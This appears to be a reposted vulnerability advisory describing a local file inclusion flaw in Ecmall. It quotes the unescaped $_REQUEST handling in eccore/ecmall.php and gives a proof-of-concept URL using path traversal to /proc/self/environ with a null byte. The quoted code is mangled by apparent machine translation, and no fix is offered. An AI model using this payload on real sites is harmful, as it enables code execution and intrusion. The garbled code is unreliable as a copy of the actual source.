Ecmall full-version local File Inclusion Vulnerability and repair (REQUEST content is not protected)

Outside: previous one: http://www.bkjia.com/Article/200903/36736.html

Lu renjia

Brief description: Ecmall makes a serious error by default. It bypasses the protection logic in the system and can contain arbitrary files for php code execution.
Details: In eccore/ecmall. php

If (! Get_magic_quotes_gpc ())

{

$ _ GET = addslashes_deep ($ _ GET );

$ _ POST = addslashes_deep ($ _ POST );

$ _ COOKIE = addslashes_deep ($ _ COOKIE );

}

 

/* Request forwarding */

$ Default_app = $ config ['default _ app']? $ Config ['default _ app']: 'default ';

$ Default_act = $ config ['default _ act ']? $ Config ['default _ act ']: 'index ';

 

$ App = isset ($ _ REQUEST ['app'])? Trim ($ _ REQUEST ['app']): $ default_app;

$ Act = isset ($ _ REQUEST ['ac'])? Trim ($ _ REQUEST ['act']): $ default_act;

$ App_file = $ config ['app _ root']. "/{$ app}. app. php ";

If (! Is_file ($ app_file ))

{

Exit ('missing controller ');

}
It seems that the impact of GPC on the program is forced to protect, but the content of the REQUEST is not protected, which can include code execution.

Proof of vulnerability:
Www.2cto.com/index. php? App = ../proc/self/environ % 002cto.com
Solution: No, no